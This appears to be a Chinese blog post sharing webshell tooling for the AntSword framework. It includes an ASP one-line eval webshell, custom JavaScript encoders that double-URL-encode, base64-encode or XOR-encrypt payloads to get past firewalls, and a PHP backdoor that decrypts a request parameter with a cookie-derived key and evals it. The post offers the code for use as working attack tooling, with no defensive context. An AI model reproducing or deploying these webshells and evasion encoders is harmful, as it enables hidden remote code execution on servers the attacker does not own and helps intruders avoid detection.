ASP
第一款
/** * asp::url_bypass 编码器 * 双重url编码 * author: mr6 * <%execute(unescape(request("mr6")))%> */ 'use strict'; module.exports = (pwd, data) => { function str2url(str) { var ret = ""; for (var i = 0; i < str.length; i++) { ret += "%"+str[i].charCodeAt().toString(16); } return ret; } data[pwd] = `asunescape(${str2url(str2url(data['_']))})`; delete data['_']; return data; } ------------------------------------------------------------------------------------------------------------------------------------------------------------ aspx
// // aspx::base64_bypass 编码模块 // 把所有参数都进行base64编码 // author:mr6
‘use strict’;
module.exports = (pwd, data, ext = null) => {
let randomID;
if (ext.opts.otherConf[‘use-random-variable’] === 1) {
randomID = antSword.utils.RandomChoice(antSword[‘RANDOMWORDS’]);
} else {
randomID = `${antSword[‘utils’].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data[‘_’])
.toString(‘base64’);
data[pwd] = Buffer.from(`eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[“${randomID}”])),”unsafe”);`).toString(‘base64’);
delete data[‘_’];
return data;
}
————————————————————————————————————————————————————
php
专用马
<?php
class Cookie
{
function __construct()
{
$key=@$_COOKIE[‘PHPSESSID’];
@$post=base64_decode($_REQUEST[‘test’]);
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%26];
}
return $post;
}
function __destruct()
{return @eval($this->__construct());}
}
$check=new Cookie();
?>
编码器[pwd_protected_post key=’保护密码’]您需要选择一个短代码[/pwd_protected_post]
‘use strict’;
//code by yzddmr6
module.exports = (pwd, data, ext = {}) => {
let randomID = `x${Math.random().toString(16).substr(2)}`;
function xor(payload) {
let crypto = require(‘crypto’);
let key = crypto.createHash(‘md5’).update(randomID).digest(‘hex’).substr(6);
ext.opts.httpConf.headers[‘Cookie’] = ‘PHPSESSID=’ + key;
key = key.split(“”).map(t => t.charCodeAt(0));
//let payload=”phpinfo();”;
let cipher = payload.split(“”).map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 26]
}
cipher = cipher.map(t => String.fromCharCode(t)).join(“”)
cipher = Buffer.from(cipher).toString(‘base64’);
//console.log(cipher)
return cipher;
}
data[‘_’] = Buffer.from(data[‘_’]).toString(‘base64’);
data[pwd] = `eval(base64_decode(“${data[‘_’]}”));`;
data[pwd]=xor(data[pwd]);
delete data[‘_’];
return data;
}
————————————————————————————————————————————————————
评论前必须登录!
注册